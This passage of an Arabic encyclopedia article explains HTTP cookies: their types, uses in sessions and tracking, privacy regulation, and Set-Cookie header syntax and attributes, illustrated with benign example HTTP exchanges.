ملف تعريف ارتباط
HTTP |
---|
Request methods |
Header fields |
Response status codes |
Security access control methods |
Security vulnerabilities |
ملفات تعريف الارتباط HTTP cookies (تسمى أيضاً ملفات تعريف ارتباط الوب أو ملفات تعريف ارتباط الإنترنت أو ملفات تعريف ارتباط المتصفح أو ملفات تعريف الارتباط (كوكيز)) وهي كتل برمجية نصية صغيرة من البيانات التي أُنشئت بواسطة خادم الوب بينما يكون تصفح المستخدم موقع الوب ووضعه على حاسب المستخدم أو أي جهاز آخر بواسطة متصفح الوب الخاص بالمستخدم. توضع ملفات تعريف الارتباط على الجهاز المستخدم للوصول إلى موقع وب، ويمكن وضع أكثر من ملف تعريف ارتباط واحد على جهاز المستخدم أثناء جلسة الاستخدام.
تقدم ملفات تعريف الارتباط وظائف مفيدة وأحياناً أساسية على الوب. فهي تمكن مخدمات الوب من تخزين معلومات الحالة (مثل العناصر المضافة في عربة التسوق في متجر عبر الإنترنت) على جهاز المستخدم أو لتتبع نشاط تصفح المستخدم (بما في ذلك النقر أزرار معينة، تسجيل الدخول، أو تسجيل الصفحات التي تمت زيارتها سابقاً).[1]يمكن استخدامها أيضاً لحفظ معلومات الاستخدام اللاحقة التي أدخلها المستخدم مسبقًا في حقول النموذج، مثل الأسماء، والعناوين، وكلمات المرور ورقم بطاقة الدفع.
تُستخدم ملفات تعريف الارتباط للمصادقة بشكل شائع بواسطة مخدمات الوب لـ المصادقة أن المستخدم قام بتسجيل الدخول، وبواسطة الحساب الذي سُجل الدخول من خلاله. بدون ملف تعريف الارتباط، سيحتاج المستخدمون إلى المصادقة على أنفسهم عن طريق تسجيل الدخول على كل صفحة تحتوي على معلومات حساسة يرغبون في الوصول إليها. يعتمد أمان ملف تعريف ارتباط المصادقة بشكل عام على أمان موقع الوب المُصدر و متصفح الوب، وعلى ما إذا كانت بيانات ملف تعريف الارتباط مشفرة. قد تسمح الثغرات الأمنية بقراءة بيانات ملف تعريف الارتباط بواسطة المهاجم، أو استخدامها للوصول إلى بيانات المستخدم، أو استخدامها للوصول (مع بيانات اعتماد المستخدم) إلى موقع الوب الذي ينتمي إليه ملف تعريف الارتباط (راجع برمجة عبر مواقع وتزوير طلب المواقع المشتركة للحصول على أمثلة).[2]
تستخدم ملفات تعريف الارتباط للتتبع، وخاصة ملفات تعريف ارتباط تتبع الجهات الخارجية، بشكل شائع كطرق لتجميع سجلات طويلة الأجل لسجلات التصفح الخاصة بالأفراد — مخاوف الخصوصية التي دفعت المشرعين الأوروبيين[3] والأمريكيين لاتخاذ إجراءات في عام 2011.[4][5] يشترط القانون الأوروبي أن تكتسب جميع مواقع الوب التي تستهدف الدول الأعضاء في الاتحاد الأوروبي موافقة مُعلن عنها من المستخدمين قبل تخزين ملفات تعريف الارتباط غير الضرورية على أجهزتهم.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
خلفية
تاريخ
المصطلح
هذا القسم يحتاج المزيد من الأسانيد للتحقق. (August 2011) (Learn how and when to remove this template message) |
ملف تعريف ارتباط جلسة الاستخدام
ملف تعريف ارتباط جلسة الاستخدام (المعروف أيضاً باسم ملف تعريف الارتباط في الذاكرة أو ملف تعريف ارتباط عابر أو ملف تعريف ارتباط غير دائم) في الذاكرة المؤقتة فقط أثناء تنقل المستخدم في موقع وب.[6] تنتهي صلاحية ملفات تعريف ارتباط جلسة الاستخدام أو تُحذف عندما يغلق المستخدم متصفح الوب.[7] تُحدد ملفات تعريف الارتباط لجلسة الاستخدام بواسطة المتصفح من خلال عدم وجود تاريخ انتهاء صلاحية محدد لهم.
ملف تعريف ارتباط دائم
تنتهي صلاحية ملف تعريف الارتباط الدائم في تاريخ محدد أو بعد فترة زمنية محددة. بالنسبة إلى العمر الافتراضي لملف تعريف الارتباط الدائم الذي حدده منشئه، ستُرسل معلوماته إلى المخدم في كل مرة يزور فيها المستخدم موقع الوب الذي ينتمي إليه، أو في كل مرة يشاهد فيها المستخدم مورداً ينتمي إلى هذا الموقع من موقع وب آخر (مثل إعلان ما).
لهذا السبب، يُشار أحياناً إلى ملفات تعريف الارتباط الدائمة باسم ملفات تعريف الارتباط للتتبع لأنه يمكن للمعلنين استخدامها لتسجيل معلومات حول عادات تصفح الوب للمستخدم على مدار فترة زمنية طويلة. ومع ذلك، يتم استخدامها أيضاً لأسباب "مشروعة" (مثل إبقاء المستخدمين مسجلين الدخول إلى حساباتهم على مواقع الوب، لتجنب إعادة إدخال بيانات اعتماد تسجيل الدخول في كل زيارة).
ملف تعريف ارتباط آمن
لا يمكن نقل ملف تعريف الارتباط الآمن إلا عبر اتصال مشفر (أي HTTPS. لا يمكن نقلها عبر اتصالات غير مشفرة (أي HTTP). يؤدي ذلك إلى تقليل احتمالية تعرض ملف تعريف الارتباط لسرقة ملفات تعريف الارتباط عن طريق التنصت\التجسس. يُؤمن ملف تعريف الارتباط عن طريق إضافة علامة Secure
إلى ملف تعريف الارتباط.
ملف تعريف ارتباط Http فقط
لا يمكن الوصول إلى ملف تعريف ارتباط http فقط بواسطة واجهات برمجة التطبيقات من جانب العميل، مثل جاڤاسكريپت. يزيل هذا التقييد خطر سرقة ملفات تعريف الارتباط عبر برمجة عبر مواقع (XSS). ومع ذلك، يظل ملف تعريف الارتباط عرضة لهجمات التعقب عبر المواقع (XST) وتزوير الطلبات عبر المواقع (CSRF). يُعطى ملف تعريف الارتباط هذه الخاصية عن طريق إضافة علامة HttpOnly
إلى ملف تعريف الارتباط.
ملف تعريف الارتباط لنفس الموقع
في عام 2016، قُدم الإصدار 51 من گوگل كروم[8]وهو نوع جديد من ملفات تعريف الارتباط مع السمة SameSite
. يمكن أن تحتوي السمة SameSite
على قيمة Strict
أو Lax
أو None
.[9]باستخدام السمة SameSite=Strict
، لن ترسل المتصفحات سوى ملفات تعريف الارتباط إلى المجال الهدف الذي هو نفس المجال الأصلي. وهذا من شأنه أن يخفف بشكل فعال هجمات تزوير الطلبات عبر المواقع (CSRF).[10] باستخدام SameSite=Lax
، ترسل المتصفحات ملفات تعريف الارتباط مع الطلبات إلى المجال المستهدف حتى لو كان مختلفاً عن المجال الأصلي، ولكن فقط للطلبات "الآمنة" مثل GET (POST غير آمنة) وليس ملفات تعريف ارتباط الطرف الثالث (داخل إطار iframe). قد تسمح السمة SameSite=None
بملفات تعريف الارتباط للجهات الخارجية (عبر المواقع)، ومع ذلك، تتطلب معظم المتصفحات secure attribute on SameSite = لا توجد ملفات تعريف ارتباط.[11]
دُمج ملف تعريف ارتباط الموقع نفسه في a new RFC draft for "Cookies: HTTP State Management Mechanism" لتحديث RFC 6265 (إذا استُحسن ذلك).
بدأ كل من كروم وفايرفوكس ومايكروسوفت إيدج في دعم ملفات تعريف الارتباط الخاصة بالموقع نفسه.[12] مفتاح الطرح هو معالجة ملفات تعريف الارتباط الحالية بدون تحديد سمة SameSite، وقد تعامل كروم مع ملفات تعريف الارتباط الحالية كما لو كان SameSite=None، وهذا من شأنه أن يحافظ على تشغيل جميع مواقع الوب/التطبيقات كما كان من قبل. تعتزم گوگل تغيير هذا الإعداد الافتراضي إلى SameSite=Lax في فبراير 2020،[13] قد يؤدي التغيير إلى كسر تلك التطبيقات/مواقع الوب التي تعتمد على ملفات تعريف ارتباط الطرف الثالث/عبر المواقع، ولكن بدون تحديد سمة SameSite. نظراً للتغييرات الشاملة لمطوري الوب وظروف COVID-19، تراجعت گوگل مؤقتاً عن تغيير ملف تعريف ارتباط SameSite.[14]
ملف تعريف ارتباط الطرف الثالث
عادةً ما تتطابق سمة مجال ملف تعريف الارتباط مع المجال المعروض في شريط عنوان متصفح الوب. وهذا ما يسمى ملف تعريف ارتباط الطرف الأول. ومع ذلك، فإن ملف تعريف ارتباط الطرف الثالث ينتمي إلى مجال مختلف عن النطاق الموضح في شريط العناوين. يظهر هذا النوع من ملفات تعريف الارتباط عادةً عندما تعرض صفحات الويب محتوى من مواقع وب خارجية، مثل لافتة إعلانية. يفتح هذا إمكانية التتبع لسجل تصفح المستخدم وغالباً ما يستخدمه المعلنون في محاولة تقديم الإعلانات المرتبطة لكل مستخدم.
كمثال، افترض أن مستخدماً زار www.example.org
. يحتوي موقع الوب هذا على إعلان من ad.foxytracking.com
، والذي، عند تنزيله، يقوم بتعيين ملف تعريف ارتباط ينتمي إلى مجال الإعلان (ad.foxytracking.com
). بعد ذلك، يزور المستخدم موقعاً إلكترونياً آخر، www.foo.com
، والذي يحتوي أيضاً على إعلان من ad.foxytracking.com
ويعيِّن ملف تعريف ارتباط ينتمي إلى هذا المجال (ad.foxytracking.com
). في النهاية، سيُرسل كلاً من ملفات تعريف الارتباط هذه إلى المعلن عند تحميل إعلاناته أو زيارة موقعه على الوب. يمكن للمعلن بعد ذلك استخدام ملفات تعريف الارتباط هذه لإنشاء سجل تصفح للمستخدم عبر جميع مواقع الوب التي تحتوي على إعلانات من هذا المعلن، من خلال استخدام حقل العنوان HTTP.
اعتبارا من 2014[تحديث]، كانت بعض مواقع الوب تضع ملفات تعريف ارتباط قابلة للقراءة لأكثر من 100 مجال تابع لجهات خارجية.[15] في المتوسط، كان موقع وب واحد يعيّن 10 ملفات تعريف ارتباط، مع وصول أقصى عدد من ملفات تعريف الارتباط (الطرف الأول والثالث) إلى أكثر من 800.[16]
تحتوي معظم متصفحات الوب الحديثة على إعدادات الخصوصية التي يمكنها حظر ملفات تعريف الارتباط للجهات الخارجية، والبعض الآن يحظر جميع ملفات تعريف الارتباط للجهات الخارجية افتراضياً - اعتباراً من يوليو 2020، تشمل هذه المتصفحات أپل سفاري،[17] فايرفوكس،[18] وبريڤ.[19] يسمح سفاري للمواقع المضمنة باستخدام واجهة برمجة تطبيقات الوصول إلى التخزين لطلب إذن لتعيين ملفات تعريف ارتباط الطرف الأول. في مايو 2020، قدم گوگل كروم ميزات جديدة لحظر ملفات تعريف ارتباط الطرف الثالث افتراضياً في وضع التصفح المتخفي للتصفح الخاص، مما يجعل الحظر اختيارياً أثناء التصفح العادي. أضاف التحديث نفسه أيضاً خياراً لحظر ملفات تعريف ارتباط الطرف الأول.[20]يخطط كروم لبدء حظر ملفات تعريف الارتباط للجهات الخارجية افتراضياً في عام 2023.[21]
ملف تعريف ارتباط فائق
ملف تعريف الارتباط الفائق هو ملف تعريف ارتباط أصله نطاق المستوى الأعلى (مثل .com
) أو لاحقة عامة (مثل .co.uk
). على النقيض من ذلك، فإن ملفات تعريف الارتباط العادية لها أصل اسم مجال معين، مثل example.com
.
يمكن أن تكون ملفات تعريف الارتباط الفائقة مصدر قلق أمني محتمل، وبالتالي يتم حظرها غالباً بواسطة متصفحات الويب. إذا تم إلغاء حظر بواسطة المستعرض، يمكن للمهاجم الذي يتحكم في موقع وب ضار تعيين ملف تعريف ارتباط فائق ومن المحتمل أن يعطل أو ينتحل صفة طلبات المستخدم المشروعة إلى موقع وب آخر يشترك في نفس مجال المستوى الأعلى أو اللاحقة العامة مثل موقع الوب الضار. على سبيل المثال، ملف تعريف الارتباط الفائق الذي أصله .com
، يمكن أن يؤثر بشكل ضار على الطلب المقدم إلى example.com
، حتى إذا لم يكن ملف تعريف الارتباط مصدراً من مثال .com
. يمكن استخدام هذا لتزييف عمليات تسجيل الدخول أو تغيير معلومات المستخدم.
تساعد قائمة اللاحقة العامة[22]على تخفيف المخاطر التي تشكلها ملفات تعريف الارتباط الفائقة. قائمة اللاحقات العامة هي مبادرة مشتركة بين البائعين تهدف إلى توفير قائمة دقيقة ومحدثة من لواحق اسم المجال. قد لا تحتوي الإصدارات القديمة من المتصفحات على قائمة محدثة، وبالتالي ستكون عرضة لملفات تعريف الارتباط الفائقة من نطاقات معينة.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
استخدامات أخرى
يستخدم مصطلح "supercookie" أحياناً لتقنيات التتبع التي لا تعتمد على ملفات تعريف الارتباط HTTP. تم العثور على آليتين من هذه "ملفات الارتباط الفائقة" على مواقع وب مايكروسوفت في أغسطس 2011: أُعيد نشر مزامنة ملفات تعريف الارتباط تلك MUID (المعرف الفريد للجهاز)، وملفات تعريف الارتباط ETag.[23]ونظراً لاهتمام وسائل الإعلام، قامت مايكروسوفت لاحقاً بتعطيل هذا الرمز.[24] في منشور مدونة 2021، استخدمت موزيلا مصطلح "supercookie" للإشارة إلى استخدام ذاكرة التخزين المؤقت للمتصفح (انظر أدناه) كوسيلة لتتبع المستخدمين عبر المواقع.[25]
ملف تعريف الارتباط الزومبي
"ملف تعريف الارتباط الزومبي" عبارة عن بيانات ورمز وُضع بواسطة خادم وب على حاسب الزائر أو أي جهاز آخر في مكان مخفي خارج موقع تخزين ملفات تعريف الارتباط متصفح وب المخصص للزائر، وهذا يعيد إنشاء ملف تعريف ارتباط HTTP تلقائياً كملف تعريف ارتباط عادي بعد حذف ملف تعريف الارتباط الأصلي. يمكن تخزين ملف تعريف الارتباط الزومبي في مواقع متعددة، مثل Flash Local Shared object، HTML5 Web storage، ومواقع أخرى من جانب العميل وحتى على جانب الخادم، ومتى تم اكتشاف غياب ملف تعريف الارتباط، [مطلوب توضيح] أُعيد إنشاء ملف تعريف الارتباط [مطلوب توضيح] باستخدام البيانات المخزنة في هذه المواقع.[26][27]
جدار ملفات تعريف الارتباط
ينشأ جدار ملفات تعريف الارتباط على موقع وب ويبلغ المستخدم باستخدام ملف تعريف الارتباط الخاص بالموقع. ليس لدى الجدار خيار الرفض، ولا يمكن الوصول إلى موقع الوب بدون تتبع ملفات تعريف الارتباط.
البنية
يتكون ملف تعريف الارتباط من المكونات التالية:[28][29]
- الاسم
- القيمة
- صفر أو أكثر من السمات ( أزواج الاسم/القيمة). تقوم السمات بتخزين المعلومات مثل انتهاء صلاحية ملف تعريف الارتباط والنطاق والعلامات (مثل
Secure
وHttpOnly
).
الاستخدامات
إدارة الجلسات
قُدمت ملفات تعريف الارتباط في الأصل لتوفير وسيلة للمستخدمين لتسجيل العناصر التي يرغبون في شرائها أثناء تنقلهم عبر موقع الوب ("عربة تسوق" افتراضية أو "سلة تسوق").[30][31] اليوم، ومع ذلك، عادة ما تُخزَّن محتويات عربة التسوق الخاصة بالمستخدم في قاعدة بيانات على الخادم، وليس في ملف تعريف ارتباط على العميل. لتتبع المستخدم الذي تم تعيينه لعربة التسوق، يرسل الخادم ملف تعريف ارتباط إلى العميل يحتوي على معرف جلسة فريد (عادةً، سلسلة طويلة من الأحرف والأرقام العشوائية). نظراً لإرسال ملفات تعريف الارتباط إلى الخادم مع كل طلب يقدمه العميل، سيتم إرسال معرف الجلسة هذا مرة أخرى إلى الخادم في كل مرة يزور المستخدم صفحة جديدة على موقع الوب، مما يتيح للخادم معرفة عربة التسوق التي سيتم عرضها للمستخدم.
الاستخدام الشائع الآخر لملفات تعريف الارتباط هو تسجيل الدخول إلى مواقع الوب. عندما يزور المستخدم صفحة تسجيل الدخول إلى موقع الوب، يرسل خادم الوب عادةً إلى العميل ملف تعريف ارتباط يحتوي على معرف جلسة فريد. عندما يقوم المستخدم بتسجيل الدخول بنجاح، يتذكر الخادم أنه قد تمت مصادقة معرف الجلسة المحدد هذا ويمنح المستخدم حق الوصول إلى خدماته.
نظراً لأن ملفات تعريف الارتباط للجلسة تحتوي فقط على معرف جلسة فريد، فإن هذا يجعل كمية المعلومات الشخصية التي يمكن لموقع وب حفظها عن كل مستخدم بلا حدود تقريباً — لا يقتصر موقع الوب على القيود المتعلقة بحجم ملف تعريف الارتباط. تساعد ملفات تعريف الارتباط للجلسات أيضاً على تحسين أوقات تحميل الصفحة، نظراً لأن كمية المعلومات في ملف تعريف ارتباط الجلسة صغيرة وتتطلب نطاقاً ترددياً ضئيلاً.
التخصيص
يمكن استخدام ملفات تعريف الارتباط لتذكر معلومات حول المستخدم من أجل إظهار المحتوى ذي الصلة لهذا المستخدم بمرور الوقت. على سبيل المثال، قد يرسل خادم الوب ملف تعريف ارتباط يحتوي على اسم المستخدم الذي تم استخدامه آخر مرة لتسجيل الدخول إلى موقع وب، بحيث يمكن ملؤه تلقائياً في المرة التالية التي يسجل فيها المستخدم الدخول.
تستخدم العديد من مواقع الوب ملفات تعريف الارتباط للتخصيص بناءً على تفضيلات المستخدم. يختار المستخدمون تفضيلاتهم عن طريق إدخالها في نموذج ويب وإرسال النموذج إلى الخادم. يقوم الخادم بترميز التفضيلات في ملف تعريف الارتباط وإرسال ملف تعريف الارتباط مرة أخرى إلى المتصفح. بهذه الطريقة، في كل مرة يصل فيها المستخدم إلى صفحة على موقع الوب، يمكن للخادم تخصيص الصفحة وفقاً لتفضيلات المستخدم. على سبيل المثال، استخدم محرك البحث گوگل ذات مرة ملفات تعريف الارتباط للسماح للمستخدمين (حتى غير المسجلين) بتحديد عدد نتائج البحث لكل صفحة التي يريدون رؤيتها.
أيضاً، يستخدم دكدكگو ملفات تعريف الارتباط للسماح للمستخدمين بتعيين تفضيلات المشاهدة مثل ألوان صفحة الوب.
التتبع
تُستخدم ملفات تعريف الارتباط للتتبع لتتبع عادات تصفح الوب للمستخدمين. يمكن القيام بذلك أيضاً إلى حدٍ ما باستخدام عنوان آي پي للحاسب الذي يطلب الصفحة أو حقل الإحالة لرأس الطلب HTTP، لكن ملفات تعريف الارتباط تسمح بمزيد من الدقة. يمكن توضيح ذلك على النحو التالي:
- إذا طلب المستخدم صفحة من الموقع، لكن الطلب لا يحتوي على ملف تعريف ارتباط، يفترض الخادم أن هذه هي الصفحة الأولى التي يزورها المستخدم. لذلك ينشئ الخادم معرفاً فريداً (عادةً ما يكون سلسلة من الأحرف والأرقام العشوائية) ويرسله كملف تعريف ارتباط إلى المتصفح مع الصفحة المطلوبة.
- من هذه النقطة فصاعداً، سيُرسل ملف تعريف الارتباط تلقائياً بواسطة المتصفح إلى الخادم في كل مرة يتم فيها طلب صفحة جديدة من الموقع. لا يرسل الخادم الصفحة كالمعتاد فحسب، بل يخزن أيضاً عنوان URL للصفحة المطلوبة وتاريخ/زمن الطلب وملف تعريف الارتباط في ملف السجل.
من خلال تحليل ملف السجل هذا، يمكن بعد ذلك معرفة الصفحات التي زارها المستخدم، وفي أي تسلسل، وإلى متى.
تستغل الشركات عادات المستخدمين على الوب من خلال تتبع ملفات تعريف الارتباط لجمع معلومات حول عادات الشراء. وجدت وال ستريت جورنال أن أفضل خمسين موقعاً في أمريكا قد ركبت في المتوسط 64 قطعة من تقنية التتبع على أجهزة الحاسب، مما أدى إلى إجمالي 3180 ملف تتبع.[32] يمكن بعد ذلك جمع البيانات وبيعها للشركات التي تقدم مزايا.
التطبيقات
ملفات تعريف الارتباط هي أجزاء عشوائية من البيانات، تُختار عادةً وتُرسل أولاً بواسطة خادم الوب، وتُخزّن على جهاز الحاسب العميل بواسطة متصفح الوب. ثم يرسلها المتصفح مرة أخرى إلى الخادم مع كل طلب، مع إدخال حالات (ذاكرة الأحداث السابقة) في معاملات HTTP عديمة الحالة. بدون ملفات تعريف الارتباط، سيكون كل استرداد صفحة ويب أو مكون لصفحة وب حدثاً منفرداً، وغير مرتبط إلى حد كبير بجميع مشاهدات الصفحة الأخرى التي يقوم بها المستخدم على موقع الوب. على الرغم من أن ملفات تعريف الارتباط عادةً ما يتم تعيينها بواسطة خادم الوب، إلا أنه يمكن أيضًا تعيينها بواسطة العميل باستخدام لغة برمجة نصية مثل جاڤاسكريپت (ما لم يتم تعيين علامة HttpOnly
الخاصة بملف تعريف الارتباط، وفي هذه الحالة يُعيَّن ملف تعريف الارتباط لا يمكن تعديله بلغات البرمجة النصية).
تتطلب مواصفات مملفات تعريف الارتباط[33][34] أن تفي المتصفحات بالمتطلبات التالية من أجل دعم ملفات تعريف الارتباط:
- يمكن أن تدعم ملفات تعريف الارتباط التي يصل حجمها إلى 4096 بايت.
- يمكن أن تدعم ما لا يقل عن 50 ملف تعريف ارتباط لكل المجال (أي لكل موقع وب).
- يمكن أن تدعم ما لا يقل عن 3000 ملف تعريف ارتباط إجمالاً.
إعداد ملف تعريف الارتباط
تُعيَّن ملفات تعريف الارتباط باستخدام Set-Cookie
header field، المرسلة في استجابة HTTP من خادم الوب. يوجه حقل العنوان هذا متصفح الوب لتخزين ملف تعريف الارتباط وإرساله مرة أخرى في الطلبات المستقبلية إلى الخادم (سيتجاهل المتصفح حقل العنوان هذا إذا كان لا يدعم ملفات تعريف الارتباط أو قام بتعطيل ملفات تعريف الارتباط).
كمثال، يرسل المتصفح أول طلب HTTP للصفحة الرئيسية لموقع وب www.example.org
:
GET /index.html HTTP/1.1
Host: www.example.org
...
يستجيب الخادم مع حقلي عنوان Set-Cookie
:
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
...
تحتوي استجابة HTTP للخادم على محتويات الصفحة الرئيسية للموقع. ولكنه يوجه المتصفح أيضاً إلى تعيين اثنين من ملفات تعريف الارتباط. يعتبر العنصر الأول، "theme" ملف تعريف ارتباط الجلسة "لأنه لا يحتوي على سمة Expires
أو Max-Age
. تهدف ملفات تعريف الارتباط للجلسة إلى حذفها بواسطة المتصفح عند إغلاق المتصفح. الثاني، "sessionToken"، يعتبر "ملف تعريف ارتباط دائم" لأنه يحتوي على سمة Expires
، والتي توجه المتصفح لحذف ملف تعريف الارتباط في تاريخ ووقت محددين.
بعد ذلك، يرسل المتصفح طلباً آخر لزيارة صفحة spec.html
على موقع الوب. يحتوي هذا الطلب على حقل رأس Cookie
، والذي يحتوي على ملفي تعريف الارتباط اللذين وجه الخادم المتصفح لضبطهما:
GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…
بهذه الطريقة، يعرف الخادم أن طلب HTTP هذا مرتبط بالطلب السابق. سيرد الخادم عن طريق إرسال الصفحة المطلوبة، وربما يتضمن المزيد من حقول عنوان Set-Cookie
في استجابة HTTP لتوجيه المتصفح لإضافة ملفات تعريف ارتباط جديدة أو تعديل ملفات تعريف الارتباط الحالية أو إزالة ملفات تعريف الارتباط الحالية. لإزالة ملف تعريف الارتباط، يجب أن يشتمل الخادم على حقل رأس Set-Cookie
مع تاريخ انتهاء صلاحية في الماضي.
قد تتكون قيمة ملف تعريف الارتباط من أي حرف قابل للطباعة آسكي(!
عبر ~
, يونيكود \u0021
through \u007E
) باستثناء قالب:Codes ومحرف المسافة البيضاء. يستبعد اسم ملف تعريف الارتباط نفس المحارف، وكذلك =
، لأن هذا هو محدد بين الاسم والقيمة. يعتبر معيار ملفات تعريف الارتباط RFC 2965 أكثر تقييداً ولكن لم يتم تنفيذه بواسطة المتصفحات.
يُستخدم مصطلح "ملف تعريف الارتباط" أحياناً للإشارة إلى زوج اسم-قيمة لملف تعريف الارتباط.[35]
يمكن أيضاً تعيين ملفات تعريف الارتباط عن طريق لغات البرمجة النصية مثل جاڤاسكريپت التي تعمل داخل المتصفح. في جاڤاسكريپت، يتم استخدام الأداة document.cookie
لهذا الغرض. على سبيل المثال، تنشئ التعليمات document.cookie = "temperature=20"
ملف تعريف ارتباط باسم "درجة الحرارة" والقيمة "20".[36]
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
سمات ملفات تعريف الارتباط
بالإضافة إلى الاسم والقيمة، يمكن أن تحتوي ملفات تعريف الارتباط أيضاً على سمة واحدة أو أكثر. لا تتضمن المتصفحات سمات ملفات تعريف الارتباط في الطلبات المرسلة إلى الخادم - فهي ترسل فقط اسم ملف تعريف الارتباط وقيمته. تستخدم المتصفحات سمات ملفات تعريف الارتباط لتحديد زمن حذف ملف تعريف الارتباط أو حظر ملف تعريف الارتباط أو إرسال ملف تعريف ارتباط إلى الخادم.
المجال والمسار
تحدد سمات Domain
و Path
نطاق ملف تعريف الارتباط. فهي تخبر المتصفح بشكل أساسي عن موقع الوب الذي ينتمي إليه ملف تعريف الارتباط. لأسباب تتعلق بالأمان، لا يمكن تعيين ملفات تعريف الارتباط إلا على النطاق الأعلى للمورد الحالي ونطاقاته الفرعية، وليس لمجال آخر ونطاقاته الفرعية. على سبيل المثال، موقع الوب example.org
لا يمكنه تعيين ملف تعريف ارتباط له نطاق foo.com
لأن هذا سيسمح لموقع الوب example.org
للتحكم في ملفات تعريف الارتباط الخاصة بالمجال foo.com
.
إذا لم تُحدد سمات Domain
و Path
لملف تعريف الارتباط بواسطة الخادم، فسيتم تحديدهما افتراضياً للمجال ومسار المورد المطلوب.[37]ومع ذلك، يوجد اختلاف في معظم المتصفحات بين مجموعة ملفات تعريف الارتباط من foo.com
بدون نطاق، وملف تعريف الارتباط الذي تم تعيينه باستخدام النطاق foo.com
. في الحالة الأولى، سيتم إرسال ملف تعريف الارتباط فقط للطلبات إلى foo.com
، المعروف أيضًا باسم ملف تعريف الارتباط للمضيف فقط. في الحالة الأخيرة، يتم أيضاً تضمين جميع النطاقات الفرعية (على سبيل المثال، docs.foo.com
)).[38][39]الاستثناء الملحوظ لهذه القاعدة العامة هو Edge قبل Windows 10 RS3 وإنترنت إكسپلورر قبل IE 11 و وندوز 10 RS4 (أبريل 2018)، والذي يرسل دائماً ملفات تعريف الارتباط إلى المجالات الفرعية بغض النظر عما إذا تم تعيين ملف تعريف الارتباط مع أو بدون مجال.[40]
يوجد أدناه مثال لبعض حقول رأس Set-Cookie
في استجابة HTTP لموقع وب بعد تسجيل دخول المستخدم. تم إرسال طلب HTTP إلى صفحة وب داخل docs.foo.com
المجال الفرعي:
HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…
ملف تعريف الارتباط الأول، LSID
، لا يحتوي على سمة Domain
، ويحتوي على سمةPath
مضبوطة على /accounts
. هذا يخبر المتصفح باستخدام ملف تعريف الارتباط فقط عند طلب الصفحات الواردة في docs.foo.com/accounts
(النطاق مشتق من نطاق الطلب). يمكن استخدام ملفي تعريف الارتباط الآخرين، HSID
و SSID
، عندما يطلب المتصفح أي نطاق فرعي في .foo.com
على أي مسار (على سبيل المثال www.foo.com/bar
). النقطة المُسبقة مسبقاً اختيارية في المعايير الحديثة، ولكن يمكن إضافتها للتوافق مع التطبيقات المستندة إلى RFC 2109.[41]
انتهاء الصلاحية والحد الأقصى للعمر
تحدد السمة Expires
تاريخاً ووقتاً محدداً للوقت الذي يجب على المتصفح فيه حذف ملف تعريف الارتباط. يتم تحديد التاريخ والوقت بالشكل Wdy, DD Mon YYYY HH:MM:SS GMT
، أو في الشكل Wdy, DD Mon YY HH:MM:SS GMT
لقيم YY حيث YY أكبر من أو تساوي 0 وأقل من أو تساوي 69.[42]
بدلاً من ذلك، يمكن استخدام السمة Max-Age
لتعيين انتهاء صلاحية ملف تعريف الارتباط كفاصل زمني للثواني في المستقبل، بالنسبة إلى وقت استلام المتصفح لملف تعريف الارتباط. فيما يلي مثال لثلاثة حقول رأس Set-Cookie
تم استلامها من موقع وب بعد أن قام المستخدم بتسجيل الدخول:
HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly
عُيّن ملف تعريف الارتباط الأول، lu
، بحيث تنتهي صلاحيته في وقت ما في 15 يناير 2013. وسيستخدمه متصفح العميل حتى ذلك الوقت. ملف تعريف الارتباط الثاني، made_write_conn
، ليس له تاريخ انتهاء صلاحية، مما يجعله ملف تعريف ارتباط جلسة. سيتم حذفه بعد أن يغلق المستخدم متصفحه. ملف تعريف الارتباط الثالث، reg_fb_gate
، تغيرت قيمته إلى "محذوف"، مع وقت انتهاء الصلاحية في الماضي. سيقوم المتصفح بحذف ملف تعريف الارتباط هذا على الفور لأن وقت انتهاء صلاحيته قد مضى. لاحظ أنه سيتم حذف ملف تعريف الارتباط فقط إذا تطابق النطاق والمسار في الحقل Set-Cookie
مع القيم المستخدمة عند إنشاء ملف تعريف الارتباط.
اعتبارا من 2016[تحديث] لم يدعم إنترنت إكسپلورر Max-Age
.[43][44]
الأمان وHttpOnly
لا تحتوي السمتانSecure
و HttpOnly
على قيم مرتبطة. بدلاً من ذلك، يشير وجود أسماء السمات فقط إلى أنه يجب تمكين سلوكياتهم.
تهدف السمة Secure
